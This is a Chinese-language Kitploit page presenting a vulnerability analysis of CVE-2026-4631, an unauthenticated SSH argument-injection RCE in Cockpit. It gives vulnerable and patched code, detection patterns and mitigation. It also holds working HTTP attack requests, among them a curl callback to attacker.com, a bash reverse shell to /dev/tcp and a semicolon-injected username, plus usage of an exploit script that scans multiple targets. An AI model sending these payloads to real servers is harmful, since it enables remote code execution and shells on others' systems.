Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit:通过 SSH 命令行参数注入实现未认证远程代码执行 | Kitploit
工具/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit:通过 SSH 命令行参数注入实现未认证远程代码执行

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
14655个月前尚未审核
分享

CVE-2026-4631 — 代码分析

Cockpit:通过 SSH 命令行参数注入实现未认证远程代码执行

字段详情
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
严重性严重(CVSS 9.8)
受影响版本Cockpit 327 – 359
修复版本Cockpit 360
CWECWE-78:操作系统命令注入
是否需要认证否
报告者Jelle van der Waa

目录

  1. 漏洞概述
  2. 架构背景
  3. 根本原因分析
  4. 漏洞代码——逐文件分析
  5. 攻击向量
  6. 数据流图
  7. 补丁分析
  8. 检测
  9. 参考

1. 漏洞概述

Cockpit 的远程登录功能将用户提供的主机名(来自 URL 路径)和用户名(来自 Authorization: Basic 头)直接传递给 OpenSSH ssh 二进制文件,未进行任何验证或清理。

能够访问 9090 端口的未认证攻击者可以构造单个 HTTP 请求,从而:

  • 通过主机名字段注入任意 SSH 选项(-oProxyCommand=<cmd>)
  • 通过用户名字段利用 SSH 的 %r 令牌展开注入 shell 命令

两个注入点在凭据验证完成之前触发,意味着无需有效登录即可利用。


2. 架构背景

正常远程登录流程

Auth-flow

版本 327 中的变更

在版本 327 之前,Cockpit 使用一个名为 cockpit-ssh 的专用 C 二进制文件(基于 libssh)进行远程连接。从版本 327 开始,该文件被替换为:

root@kitploit:~
python3 -m cockpit.beiboot

该命令调用系统 OpenSSH ssh 客户端。这一变更引入了漏洞,因为新的代码路径将用户可控的值直接传递给 ssh,未进行任何清理。


3. 根本原因分析

问题 1 — 主机名前缺少 -- 分隔符

SSH 客户端将以 - 开头的参数解释为选项,而非主机名,除非前面有 -- 分隔符。如果没有 --,任何以 - 开头的主机名都会被解析为 SSH 标志。

易受攻击的构造:

root@kitploit:~
ssh [options] <hostname> <remote-command>

安全构造:

root@kitploit:~
ssh [options] -- <hostname> <remote-command>

问题 2 — 缺少输入验证

cockpit-ws(C 代码)和 cockpit.beiboot(Python 代码)均未验证或清理:

  • 从 URL 路径提取的主机名
  • 从 Authorization: Basic 头提取的用户名

问题 3 — Python argparse 缺陷(CPython #66623)

一个已知的 CPython 缺陷导致 argparse 错误处理以 - 开头且包含空格的自变量,将其视为位置参数而非标志。这使得 -oProxyCommand=evil command 主机名能够通过 Python 参数解析并作为选项到达 ssh。


4. 漏洞代码——逐文件分析

4.1 src/cockpit/beiboot.py — 主要注入点

这是最关键的文件。via_ssh() 函数构建 SSH 命令参数列表。

易受攻击的代码(补丁前)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """构建一个 ssh 命令,在 `dest` 上运行 `cmd`。"""

    # 从 dest 解析可选端口(例如 "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # 去除 IPv6 方括号
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  易受攻击:主机前缺少 '--'
        # 如果 host = "-oProxyCommand=evil",ssh 会将其视为选项
        destination = ['-p', port, host]

    else:
        #  易受攻击:原始攻击者输入直接传递给 ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

生成的 SSH 调用结果

当 dest = "-oProxyCommand=curl http://attacker.com/id" 时:

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpit 选项
arg2: -oProxyCommand=curl http://...   ←  被解析为 SSH 选项(而非主机)
arg3: python3 -ic '# cockpit-bridge'   ← 成为"主机名"→ 触发 ProxyCommand

修复后的代码(版本 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  已修复:'--' 强制其后的所有内容为位置参数
        destination = ['-p', port, '--', host]

    else:
        #  已修复:添加 '--' 分隔符
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — C 层:主机名提取

该 C 文件处理初始 HTTP 请求解析并生成 beiboot 进程。

从 URL 提取主机名(无验证)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // 从 URL 路径中提取 "cockpit+=" 之后的所有内容
    //  无字符验证——允许破折号、特殊字符
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

返回的主机名在生成 beiboot 进程时直接作为参数传递:

root@kitploit:~
// cockpit_ws_ssh_program 是生成命令模板
//  易受攻击:主机名未经清理即追加
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        末尾缺少 '--' 意味着主机名可被 Python 的
//                        argparse 解析为标志(CPython #66623)

版本 360 中的修复

root@kitploit:~
//  已修复:末尾的 '--' 确保主机名始终为位置参数
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

从 Authorization 头提取用户名(无验证)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // 解码 Authorization: Basic base64(user:password)
        //  不验证 'user'——允许分号、特殊字符
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' 被传递到凭据中,最终传递给 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  未清理
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — 第三个注入点

捆绑的 ferny 库(用于 SSH 交互)在其子进程调用中存在相同的 -- 缺失问题。

易受攻击的代码(补丁前)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE 并非普遍可用,因此使用 setsid
    process = await asyncio.create_subprocess_exec(
        #  易受攻击:硬编码路径 + 目标前缺少 '--'
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

修复后的代码(版本 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  已修复:使用 PATH 查找而非硬编码路径 + 添加 '--'
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — 容器部署路径

该脚本是 Docker/容器化 Cockpit 部署中使用的认证命令。

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# 从环境变量中提取主机
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  易受攻击:与根本原因相同——主机未经清理即传递给 beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

这是与主 beiboot.py 路径不同的入口点,意味着即使主代码路径已修补,Cockpit 的容器部署仍然独立地存在漏洞。


5. 攻击向量

向量 1 — 主机名 → ProxyCommand 注入

前提条件: Cockpit 主机上的 OpenSSH < 9.6(OpenSSH 9.6 引入了早期主机名验证,可阻止 shell 元字符)。

HTTP 请求:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

解码后的 Authorization: invalid:invalid — 任何值均可。

工作原理:

  1. cockpit-ws 从 URL 路径中提取 -oProxyCommand=<COMMAND> 作为"主机名"
  2. beiboot 的 via_ssh() 构建:ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'
  3. SSH 将 -oProxyCommand=<COMMAND> 解析为选项(而非主机)
  4. SSH 使用 python3 -ic '# cockpit-bridge' 作为主机名
  5. 连接该"主机名"时,SSH 将 <COMMAND> 作为 ProxyCommand 执行
  6. <COMMAND> 以 cockpit-ws 进程用户身份运行

示例 — OOB 回调:

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

解码后的 ProxyCommand:curl http://attacker.com/id``

示例 — 反弹 shell:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

解码后的 ProxyCommand:bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


向量 2 — 用户名 → %r 令牌注入

前提条件: 目标的 ssh_config 包含使用 %r 令牌(远程用户名)的 Match exec 指令。

易受攻击的 ssh_config 示例:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

HTTP 请求:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

解码后的 Authorization: x; touch /tmp/pwned; #:invalid

提取的用户名:x; touch /tmp/pwned; #

工作原理:

  1. SSH 在执行 Match exec 命令之前将 %r 展开为用户名
  2. shell 收到:/usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. shell 解释分号:运行 touch /tmp/pwned,然后忽略其余部分
  4. SSH 随后拒绝该用户名格式——但命令已经执行

6. 数据流图

Auth-bypass


7. 补丁分析

修复方案非常简洁——在每个调用 SSH 的位置,在目标参数前添加 --(POSIX 选项结束分隔符)。

补丁 1 — src/cockpit/beiboot.py(提交 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

补丁 2 — src/ws/cockpitauth.c(提交 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

补丁 3 — vendor/ferny/src/ferny/session.py(提交 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

为什么 -- 能修复此问题

-- 令牌告诉参数解析器(包括 Python argparse 和 OpenSSH 的选项解析器),其后的所有令牌都是位置参数,而非选项。在 -- 之后,像 -oProxyCommand=evil 这样的值会被视为字面主机名字符串,SSH 随后会将其拒绝为无效——不会执行任何内容。


8. 检测

网络层检测

查找对 Cockpit 登录端点的 HTTP 请求,其中路径组件包含 SSH 选项语法:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

特别关注:

  • URL 路径中的 -oProxyCommand=(向量 1)
  • Authorization: Basic 解码值中的分号(向量 2)

日志检测(journald)

root@kitploit:~
# 检查带有可疑参数的 beiboot 生成
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# 检查来自 cockpit-ws 用户的 SSH 调用
journalctl _COMM=ssh | grep -v "^--$"

版本检查

root@kitploit:~
# 检查已安装版本是否易受攻击
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# 如果版本在 327 到 359 之间(含),则易受攻击

rpm -q cockpit-ws
# 同样的版本检查适用

9. 攻击向量

扫描单个目标

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

从文件扫描多个目标

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

使用 OOB 检测

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

攻击向量 1 — 用户名 → %r 令牌注入

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

缓解措施(如果无法立即修补)

在 /etc/cockpit/cockpit.conf 中添加:

root@kitploit:~
[WebService]
LoginTo = false

这将完全禁用远程登录功能,防止 beiboot 代码路径被触发。


10. 参考

资源URL
OSS-Security 披露https://www.openwall.com/lists/oss-security/2026/04/10/5
GitHub 安全公告https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Bugzilla 问题https://bugzilla.redhat.com/show_bug.cgi?id=2450246
修复提交(cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
修复提交(ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython argparse 缺陷https://github.com/python/cpython/issues/66623
OpenSSH 9.6 主机名验证https://github.com/openssh/openssh-portable/commit/7ef3787
下载工具